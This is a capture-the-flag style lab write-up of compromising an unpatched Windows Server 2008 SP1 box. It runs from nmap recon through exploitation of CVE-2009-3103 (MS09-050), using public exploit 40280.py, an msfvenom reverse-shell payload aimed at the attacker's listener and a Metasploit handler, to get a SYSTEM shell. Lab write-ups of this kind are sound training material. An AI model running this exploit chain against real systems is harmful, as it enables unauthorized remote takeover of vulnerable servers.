Internal

TL;DR. Internal is an unpatched Windows Server 2008 SP1. The SMB script scan gives it away: it's vulnerable to CVE-2009-3103 (MS09-050), an overflow in the SMBv2 driver srv2.sys (SMBv2 srv2.sys). With the public exploit 40280.py, a msfvenom shellcode and a multi/handler, the malicious SMB negotiation gives a direct shell as NT AUTHORITY\SYSTEM. There's no user stage and no escalation: the flaw is in the kernel.

Recon

Initial scan

The reply TTL 125 → Windows: Windows starts the TTL at 128 and each routing hop decrements it, so 125 = 128−3; a hint, not proof (it can be spoofed), confirmed by the service scan. We scan UDP and TCP:

ping -c 1 192.168.155.40
nmap -sU --top-ports 1000 -Pn -n --open 192.168.155.40
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.155.40

PORT     STATE SERVICE
53/tcp   open  domain
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3389/tcp open  ms-wbt-server
5357/tcp open  http

nmap -p53,135,139,445,3389,5357 -sCV 192.168.155.40 -oN targetedScan

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Microsoft DNS 6.0.6001 (Windows Server 2008 SP1)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds  Windows Server (R) 2008 Standard 6001 SP1 (workgroup: WORKGROUP)
3389/tcp  open  ms-wbt-server Microsoft Terminal Service
5357/tcp  open  http          Microsoft HTTPAPI httpd 2.0
49152-49158/tcp open msrpc    Microsoft Windows RPC

The set (DNS, RPC, NetBIOS, SMB, RDP and the high dynamic ports) and the declared version make the target clear: Windows Server 2008 Standard SP1, build 6001. An untouched 2008 SP1 is a direct candidate for old SMB vulnerabilities, so the natural next step is to run the smb-vuln scripts.

SMB - TCP 445: vulnerability scripts

nmap with the smb-vuln* category confirms the entry point: the box is VULNERABLE to CVE-2009-3103 (the SMBv2 srv2.sys exploit):

nmap -p139,445 --script "smb-vuln*" 192.168.155.40

| smb-vuln-cve2009-3103:
|   VULNERABLE:
|   SMBv2 exploit (CVE-2009-3103, Microsoft Security Advisory 975497)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2009-3103
|_    Disclosure date: 2009-09-08

CVE-2009-3103 is an array index error in srv2.sys while processing the Process ID High field of an SMBv2 negotiation packet; well exploited, it runs code in the kernel. It's the "2009" equivalent of EternalBlue: SMB in the kernel, unauthenticated, shell as SYSTEM.

Shell as SYSTEM

CVE-2009-3103 / MS09-050: exploit + msfvenom + multi/handler

We look for a public exploit and searchsploit returns 40280.py (srv2.sys SMB Code Execution):

searchsploit "CVE 2009 3103"
searchsploit -m windows/remote/40280.py
mv 40280.py ms09_050.py

The exploit depends on pysmb and runs on Python 2. A plain pip install is not enough: the library's own repository documents that a fresh import smb fails with ModuleNotFoundError: No module named 'smb.SMBConnection', and that the reliable install is inside a virtual environment.

ModuleNotFoundError: No module named 'smb.SMBConnection'; 'smb' is not a package  #152

miketeo (Owner):
You may not have installed pysmb correctly. In my projects, I create a virtualenv environment and
install pysmb in it.

$> python3 -m venv myenv
$> source myenv/bin/activate
$myenv> pip install pysmb

Following that guidance, we install it for the interpreter the exploit uses:

pip2 install pysmb

Its embedded shellcode points at another attacker, so we regenerate it with msfvenom (a staged windows/shell/reverse_tcp payload) and paste the resulting shell block into the exploit (SMBv2 srv2.sys):

msfvenom -p windows/shell/reverse_tcp LHOST=192.168.45.214 LPORT=4444 EXITFUNC=thread -f python -v shell

We start the handler that will receive the stage and launch the exploit against the target:

msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/shell/reverse_tcp; set LHOST 192.168.45.214; set LPORT 4444; run"
python2 ms09_050.py 192.168.155.40

The authenticated connection attempt fails (NT_STATUS_LOGON_FAILURE), but that's irrelevant: the overflow fires during protocol negotiation, before any authentication. The handler receives the shell and whoami confirms the highest level:

[*] Command shell session 1 opened (192.168.45.214:4444 -> 192.168.155.40:49159)
Microsoft Windows [Version 6.0.6001]

C:\Windows\system32>whoami
nt authority\system

Since the flaw is in the kernel, the shell is already NT AUTHORITY\SYSTEM: there's no further escalation. We read the proof:

type C:\Users\Administrator\desktop\proof.txt && whoami && hostname && ipconfig

78babc7e2835e6cb084da2953704d5d7

Attack chain

SMB (445)  --  unpatched Windows Server 2008 SP1
        │  nmap smb-vuln* -> CVE-2009-3103 (srv2.sys, SMBv2)
        │  40280.py + msfvenom shellcode + multi/handler
        │  overflow in the SMBv2 negotiation (kernel)
        ▼
shell as NT AUTHORITY\SYSTEM  (proof.txt)

Lessons learned

• An unsupported system is exploitable debt. Windows Server 2008 SP1 piles up SMB vulnerabilities from over a decade ago; just exposing 445 lets an smb-vuln scan flag the way in.
• Kernel exploits give SYSTEM in one shot. CVE-2009-3103 corrupts memory in srv2.sys, so the shell comes back directly as NT AUTHORITY\SYSTEM, with no user stage and no privesc.
• No authentication needed. The overflow happens in protocol negotiation; the login attempt's NT_STATUS_LOGON_FAILURE doesn't stop the exploit from working.
• Careful: it's an overflow, it can crash the box. If the offsets don't match the exact version, you get a BSOD instead of a shell. Confirm the version and, in a real environment, weigh the crash risk before firing it.